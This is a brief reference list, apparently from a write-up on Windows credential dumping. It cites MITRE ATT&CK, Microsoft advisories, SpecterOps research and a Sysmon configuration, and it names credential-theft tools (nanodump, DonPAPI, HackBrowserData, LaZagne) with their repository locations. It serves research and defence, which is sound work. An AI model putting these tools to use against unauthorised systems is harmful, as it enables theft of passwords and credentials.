• MITRE ATT&CK: T1003 OS Credential Dumping — attack.mitre.org/techniques/T1003/
• MS14-025: GPP Credentials Advisory — Microsoft Security Bulletin
• harmj0y: A Guide to Attacking Domain Trusts / DPAPI Primer — blog.harmj0y.net
• Mark Russinovich: ProcDump, Sysinternals Suite — docs.microsoft.com
• gentilkiwi: DPAPI avec domaine — mimikatz wiki / blog.gentilkiwi.com
• Will Schroeder / SpecterOps: Certified Pre-Owned (AD CS attacks) — posts.specterops.io
• SwiftOnSecurity: Sysmon config — github.com/SwiftOnSecurity/sysmon-config
• nanodump: github.com/helpsystems/nanodump
• DonPAPI: github.com/login-securite/DonPAPI
• HackBrowserData: github.com/moonD4rk/HackBrowserData
• LaZagne: github.com/AlessandroZ/LaZagne